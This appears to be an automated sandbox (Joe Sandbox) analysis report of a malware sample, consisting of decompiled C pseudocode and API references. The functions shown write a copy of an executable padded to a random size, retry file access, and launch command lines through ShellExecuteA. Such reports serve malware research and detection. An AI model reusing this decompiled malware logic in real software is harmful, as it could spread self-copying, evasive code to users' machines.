SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,73B743E0,00000000), ref: 0040685C
ReadFile.KERNEL32(000000FF,?,00000028,00408244,00000000,?,73B743E0,00000000), ref: 0040688B
SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000000,?,73B743E0,00000000), ref: 00406906
ReadFile.KERNEL32(000000FF,004121A8,00000000,00408244,00000000,?,73B743E0,00000000), ref: 0040691C
FindCloseChangeNotification.KERNELBASE(000000FF,?,73B743E0,00000000), ref: 00406971

Part of subcall function 0040EC2E: GetProcessHeap.KERNEL32(00000000,'@,00000000,0040EA27,00000000), ref: 0040EC41
Part of subcall function 0040EC2E: HeapFree.KERNEL32(00000000), ref: 0040EC48

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: File$Read$Pointer$AttributesCreateHeap$ChangeCloseFindFreeNotificationProcessSize
String ID:
API String ID: 1400801100-0
Opcode ID: d05b9ef8185a7d6987771a176bb27021890da5eba797bb42cdabcd388c34deb0
Instruction ID: 23622665348289c9bdc7ba1e7bdf6275147e3319f3664adf7917ee5564634b96
Opcode Fuzzy Hash: d05b9ef8185a7d6987771a176bb27021890da5eba797bb42cdabcd388c34deb0
Instruction Fuzzy Hash: E47109B1D00219EFDB109FA5CC809EEBBB9FB04314F11457AF516B6290E7349EA2DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00406A60, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 106
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406A60(int __edx, CHAR* _a4, intOrPtr _a8, int _a12) {
				char _v5;
				char _v6;
				char _v7;
				char _v8;
				void* _v12;
				long _v16;
				long _v20;
				long _v24;
				intOrPtr _v28;
				long _v32;
				void* _t31;
				int _t42;
				intOrPtr _t43;
				int _t44;
				void* _t53;
				int _t59;
				CHAR* _t68;
				void* _t69;
				int _t73;

				_t59 = __edx;
				_t68 = _a4;
				_t31 = CreateFileA(_t68, 0x40000000, 0, 0, 2, 0x80, 0); // executed
				_v12 = _t31;
				if(_t31 == 0xffffffff) {
					 *0x412180 = 0x61080101;
					 *0x41217c = GetLastError();
					__eflags = 0;
					return 0;
				}
				_v8 =  *_t68;
				_v7 = _t68[1];
				_t63 = _a12;
				_v6 = _t68[2];
				_v5 = 0;
				_t42 = GetDiskFreeSpaceA( &_v8,  &_v20,  &_v24,  &_v16,  &_v32); // executed
				if(_t42 == 0) {
					L10:
					_t43 = E00406987(0x500000, _v12, _a8, _a12, _t63); // executed
					_v28 = _t43;
					if(_t43 != 0) {
						_t44 = FindCloseChangeNotification(_v12); // executed
						__eflags = _t44;
						if(_t44 != 0) {
							L15:
							return _v28;
						}
						 *0x412180 = 0x61080103;
						 *0x41217c = GetLastError();
						CloseHandle(_v12);
						L14:
						DeleteFileA(_t68);
						goto L15;
					}
					 *0x412180 = 0x61080102;
					 *0x41217c = GetLastError();
					CloseHandle(_v12);
					goto L14;
				}
				_t53 = E0040EB0E(_v20 * _v24, 0, _v16, 0);
				_t69 = _t69 + 0x10;
				_t73 = _t59;
				if(_t73 < 0) {
					goto L10;
				}
				if(_t73 > 0 || _t53 > 0x6400000) {
					_t22 = E0040ECA5() % 0x500000 + 0xa00000; // 0xa00000
					_t63 = _t22;
					goto L10;
				} else {
					__eflags = _t59;
					if(__eflags < 0) {
						goto L10;
					}
					if(__eflags > 0) {
						L9:
						_t63 = (E0040ECA5() & 0x001fffff) + 0x300000;
						__eflags = (E0040ECA5() & 0x001fffff) + 0x300000;
						goto L10;
					}
					__eflags = _t53 - 0x3200000;
					if(_t53 <= 0x3200000) {
						goto L10;
					}
					goto L9;
				}
			}

0x00406a60
0x00406a68
0x00406a7d
0x00406a83
0x00406a89
0x00406b8c
0x00406b9c
0x00406ba1
0x00000000
0x00406ba1
0x00406a91
0x00406a97
0x00406a9e
0x00406aa1
0x00406ab8
0x00406abb
0x00406ac3
0x00406b1d
0x00406b27
0x00406b2f
0x00406b34
0x00406b5f
0x00406b61
0x00406b63
0x00406b86
0x00000000
0x00406b89
0x00406b65
0x00406b78
0x00406b7d
0x00406b7f
0x00406b80
0x00000000
0x00406b80
0x00406b36
0x00406b49
0x00406b4e
0x00000000
0x00406b4e
0x00406ad2
0x00406ad7
0x00406ada
0x00406adc
0x00000000
0x00000000
0x00406ade
0x00406af5
0x00406af5
0x00000000
0x00406afd
0x00406afd
0x00406aff
0x00000000
0x00000000
0x00406b01
0x00406b0a
0x00406b17
0x00406b17
0x00000000
0x00406b17
0x00406b03
0x00406b08
0x00000000
0x00000000
0x00000000
0x00406b08

APIs

CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000080,00000000,73BB81D0,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406A7D
GetDiskFreeSpaceA.KERNELBASE(00409E9D,00409A60,?,?,?,PromptOnSecureDesktop,?,?,?,00409A60,?,?,00409E9D), ref: 00406ABB
GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B40
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B4E
FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B5F
GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B6F
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B7D
DeleteFileA.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B80
GetLastError.KERNEL32(?,?,?,00409A60,?,?,00409E9D,?,?,?,?,?,00409E9D,?,00000022,?), ref: 00406B96

Strings

PromptOnSecureDesktop, xrefs: 00406A9D

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: CloseErrorLast$FileHandle$ChangeCreateDeleteDiskFindFreeNotificationSpace
String ID: PromptOnSecureDesktop
API String ID: 1251348514-2980165447
Opcode ID: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction ID: 9406106fe81e47b207fd746d5c11beca6957dd7a726dfd862efddfda91f1d23f
Opcode Fuzzy Hash: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction Fuzzy Hash: 8031EEB2900108BFDF00EFA09D45ADF7F78AF48310F15807AE112F7291D674AAA08F69

Uniqueness

Uniqueness Score: -1.00%

Function 0041B5F0, Relevance: 16.6, APIs: 11, Instructions: 114
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_check_managed_app.LIBCMTD ref: 0041B66C
__heap_init.LIBCMTD ref: 0041B676

Part of subcall function 00428F90: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0041B67B,00000001), ref: 00428FA6

_fast_error_exit.LIBCMTD ref: 0041B684

Part of subcall function 0041B7D0: ___crtExitProcess.LIBCMTD ref: 0041B7F4

__mtinit.LIBCMTD ref: 0041B68C
_fast_error_exit.LIBCMTD ref: 0041B697
__RTC_Initialize.LIBCMTD ref: 0041B6A9
___crtGetEnvironmentStringsW.LIBCMTD ref: 0041B6D2
___wsetargv.LIBCMTD ref: 0041B6DC
__wsetenvp.LIBCMTD ref: 0041B6EF
__cinit.LIBCMTD ref: 0041B704
__wwincmdln.LIBCMTD ref: 0041B721

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 2562088257-0
Opcode ID: 81f286b5781ec9745915352ff494a59f172a33910c7f2e012d70414d2f4daa2f
Instruction ID: 1a3992dfb234565248fea871e70f971f326dd62e7bb29737aad54b7d046c12c0
Opcode Fuzzy Hash: 81f286b5781ec9745915352ff494a59f172a33910c7f2e012d70414d2f4daa2f
Instruction Fuzzy Hash: C141A3B5E003189BEB10EBA2ED02BDE76B4EB5431CF50012FF519972C2EB7955408B9A

Uniqueness

Uniqueness Score: -1.00%

Function 0041B665, Relevance: 16.6, APIs: 11, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_check_managed_app.LIBCMTD ref: 0041B66C
__heap_init.LIBCMTD ref: 0041B676

Part of subcall function 00428F90: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0041B67B,00000001), ref: 00428FA6

_fast_error_exit.LIBCMTD ref: 0041B684

Part of subcall function 0041B7D0: ___crtExitProcess.LIBCMTD ref: 0041B7F4

__mtinit.LIBCMTD ref: 0041B68C
_fast_error_exit.LIBCMTD ref: 0041B697
__RTC_Initialize.LIBCMTD ref: 0041B6A9
___crtGetEnvironmentStringsW.LIBCMTD ref: 0041B6D2
___wsetargv.LIBCMTD ref: 0041B6DC
__wsetenvp.LIBCMTD ref: 0041B6EF
__cinit.LIBCMTD ref: 0041B704
__wwincmdln.LIBCMTD ref: 0041B721

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 2562088257-0
Opcode ID: 0365d2290cde0f71d434a3881041fd3541abfe05b49ca9bca9c2945caae5e44e
Instruction ID: b325c032cf9650ce248fb8618c88d88e80624ab0e763dcb9a2bf9c555f8aaf29
Opcode Fuzzy Hash: 0365d2290cde0f71d434a3881041fd3541abfe05b49ca9bca9c2945caae5e44e
Instruction Fuzzy Hash: FB3173B5E013149AEB10FBF2B9037DE7260EF5435CF50012FF91A5B2C2EB7995409A9A

Uniqueness

Uniqueness Score: -1.00%

Function 004099D2, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E004099D2(int __edx, void* __eflags, CHAR* _a4, CHAR* _a8, CHAR* _a12, intOrPtr _a16, int _a20) {
				signed int _t14;
				void* _t21;
				CHAR* _t22;
				void* _t24;
				int _t25;

				_t25 = __edx;
				_t22 = _a8;
				lstrcpyA(_t22, _a4);
				E00408274(_t22);
				_push(0);
				_push(_a12);
				_t14 = E00406C6F((E0040ECA5() & 0x0000000f) << 0x00000014 | 0x00006108);
				_pop(_t24);
				_push(_t14 ^ 0x61616161);
				E0040F133();
				lstrcatA(_a12, E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8));
				E0040EE2A(_t24, 0x4122f8, 0, 0x100);
				lstrcatA(_t22, _a12);
				_t21 = E00406A60(_t25, _t22, _a16, _a20); // executed
				return _t21;
			}

0x004099d2
0x004099d6
0x004099df
0x004099e6
0x004099ec
0x004099ee
0x00409a02
0x00409a07
0x00409a0d
0x00409a0e
0x00409a3c
0x00409a46
0x00409a52
0x00409a5b
0x00409a67

APIs

lstrcpyA.KERNEL32(?,?,00000100,PromptOnSecureDesktop,00000000,?,00409E9D,?,00000022,?,?,?,?,?,?,?), ref: 004099DF
lstrcatA.KERNEL32(00000022,00000000,?,?,00409E9D,?,00000022,?,?,?,?,?,?,?,000001F4), ref: 00409A3C
lstrcatA.KERNEL32(?,00000022,?,?,?,?,?,00409E9D,?,00000022,?,?,?), ref: 00409A52

Part of subcall function 00406A60: CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000080,00000000,73BB81D0,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406A7D
Part of subcall function 00406A60: GetDiskFreeSpaceA.KERNELBASE(00409E9D,00409A60,?,?,?,PromptOnSecureDesktop,?,?,?,00409A60,?,?,00409E9D), ref: 00406ABB
Part of subcall function 00406A60: GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B40
Part of subcall function 00406A60: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B4E
Part of subcall function 00406A60: DeleteFileA.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B80

Strings

PromptOnSecureDesktop, xrefs: 004099D9, 00409A24, 00409A29, 00409A45

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: Filelstrcat$CloseCreateDeleteDiskErrorFreeHandleLastSpacelstrcpy
String ID: PromptOnSecureDesktop
API String ID: 4131120076-2980165447
Opcode ID: cb8d8b12221011c2ecefbb9c2a5bdb301364e629a1ff96e5c87c413b5c368032
Instruction ID: 3080a8c352511dab3afe6aac1e5f9bdd01cc5e55c8c8f00722b444f0ba2a7742
Opcode Fuzzy Hash: cb8d8b12221011c2ecefbb9c2a5bdb301364e629a1ff96e5c87c413b5c368032
Instruction Fuzzy Hash: D6018F7294020877EE106F62AC47F9F3E1DEB54718F04883AF619790D2D9BA94709A6C

Uniqueness

Uniqueness Score: -1.00%

Function 00404000, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
sleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00404000(CHAR* _a4, signed int* _a8) {
				void* _t3;
				long _t6;
				void* _t8;
				signed int* _t9;

				_t9 = _a8;
				_t8 = 0;
				 *_t9 =  *_t9 | 0xffffffff;
				while(1) {
					_t3 = CreateFileA(_a4, 0xc0000000, 3, 0, 3, 0x40000080, 0); // executed
					if(_t3 != 0xffffffff) {
						break;
					}
					_t6 = GetLastError();
					if(_t6 == 2 || _t6 == 3) {
						L6:
						return 0;
					} else {
						if(_t6 == 5) {
							L9:
							return 1;
						}
						Sleep(0x1f4);
						_t8 = _t8 + 1;
						if(_t8 < 0xa) {
							continue;
						}
						goto L6;
					}
				}
				 *_t9 = _t3;
				goto L9;
			}

0x00404001
0x00404006
0x00404008
0x0040400b
0x00404021
0x0040402a
0x00000000
0x00000000
0x0040402c
0x00404035
0x00404052
0x00000000
0x0040403c
0x0040403f
0x00404059
0x00000000
0x0040405b
0x00404046
0x0040404c
0x00404050
0x00000000
0x00000000
0x00000000
0x00404050
0x00404035
0x00404057
0x00000000

APIs

CreateFileA.KERNELBASE(40000080,C0000000,00000003,00000000,00000003,40000080,00000000,00000001,PromptOnSecureDesktop,004042B6,00000000,00000001,PromptOnSecureDesktop,00000000,?,004098FD), ref: 00404021
GetLastError.KERNEL32(?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 0040402C
Sleep.KERNEL32(000001F4,?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 00404046

Strings

PromptOnSecureDesktop, xrefs: 00404000

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: CreateErrorFileLastSleep
String ID: PromptOnSecureDesktop
API String ID: 408151869-2980165447
Opcode ID: 6f680220710ad79833a0587a74a8d4d803d4b32c880204d479e51cf724750932
Instruction ID: 3804347f6bd7ba573f3b83e06e35dce69dd086f5e0a34025cfebbc3953b0dfe0
Opcode Fuzzy Hash: 6f680220710ad79833a0587a74a8d4d803d4b32c880204d479e51cf724750932
Instruction Fuzzy Hash: 05F0A771240101AAD7311B24BC49B5B36A1DBC6734F258B76F3B5F21E0C67458C19B1D

Uniqueness

Uniqueness Score: -1.00%

Function 00426B40, Relevance: 6.3, APIs: 4, Instructions: 326
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__nh_malloc_dbg.LIBCMTD ref: 00426BCB
__nh_malloc_dbg.LIBCMTD ref: 00426CF7

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: __nh_malloc_dbg
String ID:
API String ID: 2526938719-0
Opcode ID: 865e1bbfb22cfe662b2415a0b0ea26e19adb37e17901b8dcd6e2121cbf9302f8
Instruction ID: c5975676e1c02f55fb041fa75cd867559ee34a11c51bd7d19415a4713726beea
Opcode Fuzzy Hash: 865e1bbfb22cfe662b2415a0b0ea26e19adb37e17901b8dcd6e2121cbf9302f8
Instruction Fuzzy Hash: 02E13774E04218CFDB24CFA8D890BADFBB1BB49308F65825ED8256B392C7349846CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406987, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 97%

			E00406987(void* __ecx, void* _a4, void* _a8, intOrPtr _a12, signed int _a16) {
				long _v8;
				long _v12;
				signed int _t50;
				int _t52;
				signed int _t53;
				int _t59;
				signed int _t60;
				long _t68;
				signed int _t74;
				void* _t78;
				void* _t85;

				_t78 = _a8;
				_t48 =  *((intOrPtr*)(_t78 + 0x3c)) + _t78;
				_t7 =  &_a16; // 0x406b2c
				_t85 = (( *( *((intOrPtr*)(_t78 + 0x3c)) + _t78 + 6) & 0x0000ffff) - 1) * 0x28 + ( *(_t48 + 0x14) & 0x0000ffff) + _t48 + 0x18;
				_t68 =  *(_t85 + 0x14);
				_t50 =  *_t7 - _t68;
				_v8 = _t50;
				if(_t68 >= _a12) {
					L5:
					_a16 = _a16 & 0x00000000;
				} else {
					_t74 =  *(_t85 + 0x10);
					if(_t74 == 0) {
						goto L5;
					} else {
						_v12 = _t74;
						_a16 = _t50 / _t74;
						if(_a16 < 1) {
							_a16 = 1;
						}
						_t20 =  &_a16; // 0x406b2c
						 *(_t85 + 0x10) =  *_t20 * _t74;
					}
				}
				_v8 = _v8 & 0x00000000;
				_t52 = WriteFile(_a4, _t78, _t68,  &_v8, 0); // executed
				if(_t52 == 0 || _v8 != _t68) {
					if(_a16 != 0) {
						 *(_t85 + 0x10) = _v12;
					}
					_t53 = 0;
				} else {
					if(_a16 == 0) {
						L13:
						_t53 = _t68;
					} else {
						 *(_t85 + 0x10) = _v12;
						while(1) {
							_v8 = _v8 & 0x00000000;
							_t59 = WriteFile(_a4, _a8 +  *(_t85 + 0x14), _v12,  &_v8, 0); // executed
							_t60 = _v8;
							if(_t59 == 0 || _t60 != _v12) {
								break;
							}
							_t68 = _t68 + _t60;
							_t41 =  &_a16;
							 *_t41 = _a16 - 1;
							if( *_t41 != 0) {
								continue;
							} else {
								goto L13;
							}
							goto L18;
						}
						asm("sbb eax, eax");
						_t53 =  !_t60 & _t68 + _t60;
					}
				}
				L18:
				return _t53;
			}

0x0040698f
0x00406995
0x004069a7
0x004069aa
0x004069ac
0x004069af
0x004069b1
0x004069b7
0x004069e0
0x004069e0
0x004069b9
0x004069b9
0x004069be
0x00000000
0x004069c0
0x004069c4
0x004069c7
0x004069d0
0x004069d2
0x004069d2
0x004069d5
0x004069db
0x004069db
0x004069be
0x004069e4
0x004069f9
0x004069fd
0x00406a51
0x00406a56
0x00406a56
0x00406a59
0x00406a04
0x00406a08
0x00406a3c
0x00406a3c
0x00406a0a
0x00406a0d
0x00406a10
0x00406a10
0x00406a27
0x00406a2b
0x00406a2e
0x00000000
0x00000000
0x00406a35
0x00406a37
0x00406a37
0x00406a3a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406a3a
0x00406a45
0x00406a49
0x00406a49
0x00406a08
0x00406a5b
0x00406a5f

APIs

WriteFile.KERNELBASE(00409A60,?,?,00000000,00000000,00409A60,?,00000000), ref: 004069F9
WriteFile.KERNELBASE(00409A60,?,00409A60,00000000,00000000), ref: 00406A27

Strings

,k@, xrefs: 004069A7, 004069D5

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: FileWrite
String ID: ,k@
API String ID: 3934441357-1053005162
Opcode ID: e4aff9389b963f63373f6495f6f2d31144d691977fa3f05a849364ed3536fcbf
Instruction ID: 2e4882fff751b5905bcc38bfa2cd4d67bf9c642b42fdf425c00f27fbfd993b21
Opcode Fuzzy Hash: e4aff9389b963f63373f6495f6f2d31144d691977fa3f05a849364ed3536fcbf
Instruction Fuzzy Hash: 3A313A72A00209EFDB24DF58D984BAA77F4EB44315F12847AE802F7680D374EE64CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0041BB2A, Relevance: 4.6, APIs: 3, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0041BCB9
_memset.LIBCMT ref: 0041BCD6
_memset.LIBCMT ref: 0041BCF1

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 7ec0a3d212efd9d74a8c6e05c97d28beb62c371b0735126ae0fc32cad4fac157
Instruction ID: 59ae214a099eb9e13323d8cfb2c1ee2a4ead8e7868d3ca263906df3e1a178fef
Opcode Fuzzy Hash: 7ec0a3d212efd9d74a8c6e05c97d28beb62c371b0735126ae0fc32cad4fac157
Instruction Fuzzy Hash: 765129B9A042088FCB58CF54DA90BD9B7F1FB4D314F20815AE8146B391D739AD84CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040EC54, Relevance: 4.5, APIs: 3, Instructions: 24
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040EC54() {
				long _v8;
				struct _FILETIME _v16;
				signed int _t11;

				GetSystemTimeAsFileTime( &_v16);
				GetVolumeInformationA(0, 0, 4,  &_v8, 0, 0, 0, 0); // executed
				_t11 = (GetTickCount() ^ _v16.dwHighDateTime ^ _v8) & 0x7fffffff;
				 *0x4136cc = _t11;
				return _t11;
			}

0x0040ec5e
0x0040ec72
0x0040ec84
0x0040ec89
0x0040ec8f

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 0040EC5E
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 0040EC72
GetTickCount.KERNEL32 ref: 0040EC78

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: Time$CountFileInformationSystemTickVolume
String ID:
API String ID: 1209300637-0
Opcode ID: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction ID: 1673bc13977c8672636575d9c8a2f9c2942a42ce341afdc75306ae3be589e196
Opcode Fuzzy Hash: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction Fuzzy Hash: 6BE0BFF5810104FFEB11EBB0EC4EEBB7BBCFB08315F504661B915D6090DAB49A448B64

Uniqueness

Uniqueness Score: -1.00%

Function 0041B92F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

QQ, xrefs: 0041B929

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID:
String ID: QQ
API String ID: 0-3460843698
Opcode ID: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction ID: 76fda07c5bc5ce2a36c3878b9585b931c2db9d4d6cfde0e3350678add9add745
Opcode Fuzzy Hash: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction Fuzzy Hash: 2001F2F5A14109EBDB04CF94D981BEA73A4EB48304F10815AFE098B340D338EA93DB99

Uniqueness

Uniqueness Score: -1.00%

Function 004091EB, Relevance: 3.1, APIs: 2, Instructions: 119
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004091EB(char* _a4, char* _a8) {
				signed int _v8;
				signed int _v12;
				char _v524;
				char _t24;
				char* _t25;
				void* _t27;
				intOrPtr* _t29;
				char* _t31;
				char _t34;
				intOrPtr _t40;
				void* _t41;
				char* _t42;
				void* _t44;
				void* _t45;
				void* _t46;

				_v12 = _v12 & 0x00000000;
				_t42 = _a8;
				_v8 = 0x10;
				if( *_t42 == 0) {
					L33:
					return _v12;
				} else {
					goto L1;
				}
				do {
					L1:
					_t31 = E0040ED03(_t42, 0xd);
					if(_t31 != 0) {
						L6:
						_t44 = _t31 - _t42;
						if(_t44 >= 0x200) {
							_t44 = 0x1ff;
						}
						E0040EE08( &_v524, _t42, _t44);
						_t46 = _t46 + 0xc;
						 *((char*)(_t45 + _t44 - 0x208)) = 0;
						if(_v524 == 0) {
							goto L27;
						} else {
							_t25 =  &_v524;
							if(_v524 != 0x20) {
								L16:
								while( *_t25 == 0x22) {
									while(1) {
										_t25 =  &(_t25[1]);
										_t34 =  *_t25;
										if(_t34 == 0) {
											break;
										}
										if(_t34 == 0x22) {
											L15:
											_t25 =  &(_t25[1]);
											goto L16;
										}
									}
									if(_t34 != 0x22) {
										L20:
										while( *_t25 != 0) {
											if( *_t25 == 0x20) {
												L22:
												 *_t25 = 0;
												do {
													_t25 =  &(_t25[1]);
												} while ( *_t25 == 0x20);
												L26:
												_t27 = ShellExecuteA(0, _a4,  &_v524, _t25, 0, 0); // executed
												_v12 = _t27;
												if(_t27 != 0x2a) {
													 *0x412180 = _v8 | 0x61080100;
													 *0x41217c = _t27;
													return _t27;
												} else {
													goto L27;
												}
												while(1) {
													L27:
													_t24 =  *_t31;
													if(_t24 != 0xd && _t24 != 0xa) {
														goto L30;
													}
													_t31 = _t31 + 1;
												}
												goto L30;
											}
											_t25 =  &(_t25[1]);
										}
										if( *_t25 != 0x20) {
											_t25 = 0;
											goto L26;
										}
										goto L22;
									}
									goto L15;
								}
								goto L20;
							} else {
								goto L10;
							}
							do {
								L10:
								_t25 =  &(_t25[1]);
							} while ( *_t25 == 0x20);
							goto L16;
						}
					}
					_t31 = E0040ED03(_t42, 0xa);
					if(_t31 != 0) {
						goto L6;
					}
					_t29 = _t42;
					_t5 = _t29 + 1; // 0x409689
					_t41 = _t5;
					do {
						_t40 =  *_t29;
						_t29 = _t29 + 1;
					} while (_t40 != 0);
					_t31 = _t29 - _t41 + _t42;
					goto L6;
					L30:
					_t42 = _t31;
					if( *_t31 != 0) {
						Sleep(0x1f4); // executed
					}
					_v8 = _v8 + 1;
				} while ( *_t31 != 0);
				goto L33;
			}

0x004091f4
0x004091fb
0x00409201
0x00409208
0x00409308
0x00000000
0x00000000
0x00000000
0x00000000
0x0040920e
0x0040920e
0x00409216
0x0040921c
0x0040923f
0x00409241
0x00409249
0x0040924b
0x0040924b
0x00409259
0x0040925e
0x00409261
0x00409270
0x00000000
0x00409272
0x00409279
0x0040927f
0x00000000
0x0040929b
0x0040928e
0x0040928e
0x0040928f
0x00409293
0x00000000
0x00000000
0x0040928c
0x0040929a
0x0040929a
0x00000000
0x0040929a
0x0040928c
0x00409298
0x00000000
0x004092a8
0x004092a5
0x004092b2
0x004092b2
0x004092b5
0x004092b5
0x004092b6
0x004092bf
0x004092cf
0x004092d5
0x004092db
0x00409319
0x0040931f
0x00000000
0x00000000
0x00000000
0x00000000
0x004092dd
0x004092dd
0x004092dd
0x004092e1
0x00000000
0x00000000
0x004092e7
0x004092e7
0x00000000
0x004092dd
0x004092a7
0x004092a7
0x004092b0
0x004092bd
0x00000000
0x004092bd
0x00000000
0x004092b0
0x00000000
0x00409298
0x00000000
0x00000000
0x00000000
0x00000000
0x00409281
0x00409281
0x00409281
0x00409282
0x00000000
0x00409287
0x00409270
0x00409226
0x0040922c
0x00000000
0x00000000
0x0040922e
0x00409230
0x00409230
0x00409233
0x00409233
0x00409235
0x00409236
0x0040923c
0x00000000
0x004092ea
0x004092ed
0x004092ef
0x004092f6
0x004092f6
0x004092fc
0x004092ff
0x00000000

APIs

ShellExecuteA.SHELL32(00000000,00000000,00000020,00000023,00000000,00000000), ref: 004092CF
Sleep.KERNELBASE(000001F4,00000000,00000000,000000C8), ref: 004092F6

